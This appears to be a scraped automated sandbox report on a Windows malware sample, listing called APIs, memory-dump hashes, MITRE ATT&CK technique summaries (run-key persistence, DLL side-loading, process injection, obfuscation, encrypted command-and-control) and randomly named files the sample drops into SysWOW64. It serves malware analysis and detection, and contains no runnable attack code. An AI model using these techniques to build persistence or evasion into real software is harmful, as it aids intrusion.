Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report h879iieoae.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SysWOW64\Accicdme.dll

C:\Windows\SysWOW64\Ahhhnd32.dll

C:\Windows\SysWOW64\Ajikgq32.dll

C:\Windows\SysWOW64\Ajkolbad.exe

C:\Windows\SysWOW64\Akghbg32.dll

C:\Windows\SysWOW64\Baagdk32.exe

C:\Windows\SysWOW64\Bdlhdkdf.dll

C:\Windows\SysWOW64\Bgamkfnl.exe

C:\Windows\SysWOW64\Bgibkegc.exe

C:\Windows\SysWOW64\Bmlhnnne.exe

C:\Windows\SysWOW64\Bnnampcf.exe

C:\Windows\SysWOW64\Bnpnbp32.exe

C:\Windows\SysWOW64\Bpghkh32.dll

C:\Windows\SysWOW64\Bqjacldl.exe

C:\Windows\SysWOW64\Camgpi32.exe

C:\Windows\SysWOW64\Ccapffke.exe

C:\Windows\SysWOW64\Ceampi32.exe

C:\Windows\SysWOW64\Cfnpmb32.exe

Windows Analysis Report
h879iieoae.exe